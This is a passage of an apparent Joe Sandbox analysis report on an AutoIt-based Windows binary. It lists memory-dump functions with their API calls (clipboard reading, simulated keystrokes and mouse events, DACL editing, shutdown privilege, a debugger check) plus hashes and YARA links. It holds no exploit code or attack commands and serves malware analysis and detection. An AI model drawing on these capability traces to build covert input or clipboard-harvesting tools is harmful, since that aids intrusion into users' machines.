FreeLibrary.KERNEL32(?,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584F6D

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 728b36726fff80c6ed4169f989a83993506fe4f60a0b05dd06270620e473c048
Instruction ID: 3185740d2916e7d8662671992f078cd0b8458241b3f859f9e28e3a6c2e93c33c
Opcode Fuzzy Hash: 728b36726fff80c6ed4169f989a83993506fe4f60a0b05dd06270620e473c048
Instruction Fuzzy Hash: A2F01571105792CFDB34AF64E494826BBE4BF143293258E6EEAEA92621C7319844DF10

Function 00612A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00612A66

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 5fe27d1d946b980b440b1456546eee57cd1c35fd107e911ccaceeddfbbceba20
Instruction ID: 2fba0fb3c70c6bf4deeada186585e78817a1b472135ec01fa9f06ff5b15bb977
Opcode Fuzzy Hash: 5fe27d1d946b980b440b1456546eee57cd1c35fd107e911ccaceeddfbbceba20
Instruction Fuzzy Hash: E1E0DF3238011BAACB18EB30DC988FE7B4CEF90390704403AAC16C2100DB30A9A686E0

Function 005830F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 0058314E

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 15425eabeb42fee4fe9ab6373e8c6882111643a8b922d29d770ac931108e7322
Instruction ID: e444fe7ee18cc52d7509d76a7fceb6bca72bff31a9ffa703957e0e814b44b521
Opcode Fuzzy Hash: 15425eabeb42fee4fe9ab6373e8c6882111643a8b922d29d770ac931108e7322
Instruction Fuzzy Hash: 97F037709143189FEB52DB24DC4A7D97BFCB702708F0410E5A64896191D7745788CF51

Function 00582DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00582DC4

Part of subcall function 00586B57: _wcslen.LIBCMT ref: 00586B6A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 87cc12c3c0e99c64f0eb06b90598ebe7533794606cdcb2e8445336717508db0e
Instruction ID: 01497164bd4fa92cfcc46c20c20ce355728872ef9736cb3c481c6694f9cac36f
Opcode Fuzzy Hash: 87cc12c3c0e99c64f0eb06b90598ebe7533794606cdcb2e8445336717508db0e
Instruction Fuzzy Hash: 41E0CD726002245BC710A2989C09FDA77DDEFC8790F044075FD09E7248D970ED808650

Function 00582B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00583837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00583908

Part of subcall function 0058D730: GetInputState.USER32 ref: 0058D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00582B6B

Part of subcall function 005830F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 0058314E

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 4230fd488cdddad0a265c0b1054ffcb9120b324bd6d37394c7db7336078c091f
Instruction ID: ddd3343feaba8c4d0d47aea50f626be5649a9335901c19ebdfd109102893a3c6
Opcode Fuzzy Hash: 4230fd488cdddad0a265c0b1054ffcb9120b324bd6d37394c7db7336078c091f
Instruction Fuzzy Hash: 16E0263130120606CB04BB30A81A6BDBF9ABBD2752F00253EFC42A71A2CE204A494312

Function 005EDF27 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 005EDF40

Part of subcall function 00586B57: _wcslen.LIBCMT ref: 00586B6A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: FolderPath_wcslen
String ID:
API String ID: 2987691875-0
Opcode ID: e24fd29e48e3f8201a219318f8b435a35366428ed75638be00f87890610c1cc4
Instruction ID: 664bb6958c23729a6b0025a7d255dad9b35f80d748e7ce74078937759837a284
Opcode Fuzzy Hash: e24fd29e48e3f8201a219318f8b435a35366428ed75638be00f87890610c1cc4
Instruction Fuzzy Hash: 89D05EA2A002282BDF60A6749C0DDFB3AACDB80224F0006A1786DD3152E920DD4486B0

Function 005C039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,005C0704,?,?,00000000,?,005C0704,00000000,0000000C), ref: 005C03B7

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6d43650bc6d9d3065cad9b1766e6b0dc6853de7d869794f9a766e1f5fb245a89
Instruction ID: ff84fe17a456e8673d3ebb581cee05b4ebe3ca756e471c994f49e7a6bdb8efd5
Opcode Fuzzy Hash: 6d43650bc6d9d3065cad9b1766e6b0dc6853de7d869794f9a766e1f5fb245a89
Instruction Fuzzy Hash: 18D06C3208010DBBDF028F84DD06EDA3BAAFB48714F018000BE1856020C732E821AB90

Function 00581CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00581CBC

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 3b627f5b8a4776ec1a0e55772062209a33e36dfe42f76b64461205b0de443136
Instruction ID: 4a643fe5b2d2c7f337bfe960e83413bb83112a9608bbe96280db61247e97f6a2
Opcode Fuzzy Hash: 3b627f5b8a4776ec1a0e55772062209a33e36dfe42f76b64461205b0de443136
Instruction Fuzzy Hash: 9BC092362C0305AFF315CB80BC6AF547767A349B12F08A402F609A95F3D3A22830EA50

Non-executed Functions

Function 005E0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005E10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 005E1114
Part of subcall function 005E10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,005E0B9B,?,?,?), ref: 005E1120
Part of subcall function 005E10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,005E0B9B,?,?,?), ref: 005E112F
Part of subcall function 005E10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,005E0B9B,?,?,?), ref: 005E1136
Part of subcall function 005E10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 005E114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 005E0BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 005E0C00
GetLengthSid.ADVAPI32(?), ref: 005E0C17
GetAce.ADVAPI32(?,00000000,?), ref: 005E0C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 005E0C6D
GetLengthSid.ADVAPI32(?), ref: 005E0C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 005E0C8C
HeapAlloc.KERNEL32(00000000), ref: 005E0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 005E0CB4
CopySid.ADVAPI32(00000000), ref: 005E0CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 005E0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 005E0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 005E0D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 005E0D45
HeapFree.KERNEL32(00000000), ref: 005E0D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 005E0D55
HeapFree.KERNEL32(00000000), ref: 005E0D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 005E0D65
HeapFree.KERNEL32(00000000), ref: 005E0D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 005E0D78
HeapFree.KERNEL32(00000000), ref: 005E0D7F

Part of subcall function 005E1193: GetProcessHeap.KERNEL32(00000008,005E0BB1,?,00000000,?,005E0BB1,?), ref: 005E11A1
Part of subcall function 005E1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,005E0BB1,?), ref: 005E11A8
Part of subcall function 005E1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,005E0BB1,?), ref: 005E11B7

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 201909aac453e785b81d086f121911338f6e0243d9209daef81584f9b9abfb12
Instruction ID: c7de645d4e925f6c476b927d133dc06da941d938fd50834da5c6311d50534256
Opcode Fuzzy Hash: 201909aac453e785b81d086f121911338f6e0243d9209daef81584f9b9abfb12
Instruction Fuzzy Hash: 2E71BB7290024AEBDF14DFA5DD48FEEBBB9FF08310F089116E944A7190D7B5AA41CB60

Function 005FEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0061CC08), ref: 005FEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 005FEB37
GetClipboardData.USER32(0000000D), ref: 005FEB43
CloseClipboard.USER32 ref: 005FEB4F
GlobalLock.KERNEL32(00000000), ref: 005FEB87
CloseClipboard.USER32 ref: 005FEB91
GlobalUnlock.KERNEL32(00000000), ref: 005FEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 005FEBC9
GetClipboardData.USER32(00000001), ref: 005FEBD1
GlobalLock.KERNEL32(00000000), ref: 005FEBE2
GlobalUnlock.KERNEL32(00000000), ref: 005FEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 005FEC38
GetClipboardData.USER32(0000000F), ref: 005FEC44
GlobalLock.KERNEL32(00000000), ref: 005FEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 005FEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 005FEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 005FECD2
GlobalUnlock.KERNEL32(00000000), ref: 005FECF3
CountClipboardFormats.USER32 ref: 005FED14
CloseClipboard.USER32 ref: 005FED59

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 544c59230d4481d6b4822d5c5cd89f5294ba58bf531b8888ab09fad752796a33
Instruction ID: 188b5aee2f2d82af9bbf79e34822412a3c1236bc6db5080b085952655bfe7f0f
Opcode Fuzzy Hash: 544c59230d4481d6b4822d5c5cd89f5294ba58bf531b8888ab09fad752796a33
Instruction Fuzzy Hash: 8F61BE342442069FD300EF24C88AF7A7BA5BF84714F18955EF986972B1CB35DD06CBA2

Function 005F698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 005F69BE
FindClose.KERNEL32(00000000), ref: 005F6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 005F6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 005F6A75

Part of subcall function 00589CB3: _wcslen.LIBCMT ref: 00589CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 005F6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 005F6ADF

Strings

%02d, xrefs: 005F6C00, 005F6C0A, 005F6C5A, 005F6CAA, 005F6CFA, 005F6D4A
%03d, xrefs: 005F6DA2
%4d%02d%02d%02d%02d%02d%03d, xrefs: 005F6B32
%4d, xrefs: 005F6BB1
%4d%02d%02d%02d%02d%02d, xrefs: 005F6B6A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 1a279bd803471cad75df1ac528661e9d68704a18d27c8879ddb0735efb5a507e
Instruction ID: 48bd5cfc4304d6f2807d9e622d8b8d917e5a38941462199503561bac8bca6301
Opcode Fuzzy Hash: 1a279bd803471cad75df1ac528661e9d68704a18d27c8879ddb0735efb5a507e
Instruction Fuzzy Hash: CED13072508305AAD710EB64C886EBFBBECBF98704F044919FA85D6191EB74DA44CB62

Function 005FED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 005FED91
EmptyClipboard.USER32 ref: 005FED97
GlobalAlloc.KERNEL32(00000002,?), ref: 005FEDAC
CloseClipboard.USER32 ref: 005FEEA3

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: f2f63d619d78ce203f632e1e42fdb7e3a99a675a594a12ef74c9931462ac94f0
Instruction ID: 7e66d29193239e48288cfb7bbe748929237e95e9617bca7e2e98feda496d825d
Opcode Fuzzy Hash: f2f63d619d78ce203f632e1e42fdb7e3a99a675a594a12ef74c9931462ac94f0
Instruction Fuzzy Hash: F741BD31204211AFE720DF15E889B69BFE6FF44328F18C499E5158BA72C739ED41CB90

Function 005EE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 005E16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005E170D
Part of subcall function 005E16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005E173A
Part of subcall function 005E16C3: GetLastError.KERNEL32 ref: 005E174A

ExitWindowsEx.USER32(?,00000000), ref: 005EE932

Strings

, xrefs: 005EE95C
SeShutdownPrivilege, xrefs: 005EE902
@, xrefs: 005EE925
, xrefs: 005EE920

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 01b7af787589faab982a601b9e309e0b360dddaac12726aa15380e9df2f76532
Instruction ID: 607a2a5fe554f9d4c7d106d130c4ae94a0e6931d901c517b112ddce9dc66ced1
Opcode Fuzzy Hash: 01b7af787589faab982a601b9e309e0b360dddaac12726aa15380e9df2f76532
Instruction Fuzzy Hash: AD012B72620252ABEB1C62B69C8BFFF7A9DB704750F154822F882E31D3D5A09C4481A4

Function 005F648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 005F64DC
CoInitialize.OLE32(00000000), ref: 005F6639
CoCreateInstance.OLE32(0061FCF8,00000000,00000001,0061FB68,?), ref: 005F6650
CoUninitialize.OLE32 ref: 005F68D4

Strings

.lnk, xrefs: 005F64BA, 005F6524, 005F65E0

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: c1846a9adde095b8f5532419156fb68e7482e621a3851bdeea8c35c9e7b2eae1
Instruction ID: c063cc883c9e13cdcf384d00d5028f3c27be0c83a7ad6aa1367ad567dd36c587
Opcode Fuzzy Hash: c1846a9adde095b8f5532419156fb68e7482e621a3851bdeea8c35c9e7b2eae1
Instruction Fuzzy Hash: B0D16A71508206AFD304EF24C88596BBBE9FFD8304F54492DF595AB291EB70ED05CBA2

Function 006022DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 006022E8

Part of subcall function 005FE4EC: GetWindowRect.USER32(?,?), ref: 005FE504

GetDesktopWindow.USER32 ref: 00602312
GetWindowRect.USER32(00000000), ref: 00602319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00602355
GetCursorPos.USER32(?), ref: 00602381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 006023DF

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 5f1688d8391dcf9124316cb2498ddc4576955932747a9819a260c999cf055a43
Instruction ID: ab1b316dac8c5dd020aa2cb49b132e9f1e01473a97ea49c9bb955182e91fd483
Opcode Fuzzy Hash: 5f1688d8391dcf9124316cb2498ddc4576955932747a9819a260c999cf055a43
Instruction Fuzzy Hash: 8531D072544316AFC728DF14C849B9BBBAAFFC4320F00491AF98597291DB34E908CB92

Function 005EAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 005EAAAC
SetKeyboardState.USER32(00000080), ref: 005EAAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 005EAB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 005EAB88

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 8def8d29e86e611e94414bb2dcdd092de85fcd2bb1d5ae9ff355193c1132eec3
Instruction ID: 1ba267bee0fc2a2be7a6968f1ea42a35ae44203f3c3e4fadc758e1f84e745538
Opcode Fuzzy Hash: 8def8d29e86e611e94414bb2dcdd092de85fcd2bb1d5ae9ff355193c1132eec3
Instruction Fuzzy Hash: E9310B30A40388AEFB398B768C05BFA7FAFBB54310F08421AE1C1961D1D774A985C752

Function 005B2622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 005B271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 005B2724
UnhandledExceptionFilter.KERNEL32(?), ref: 005B2731

Memory Dump Source

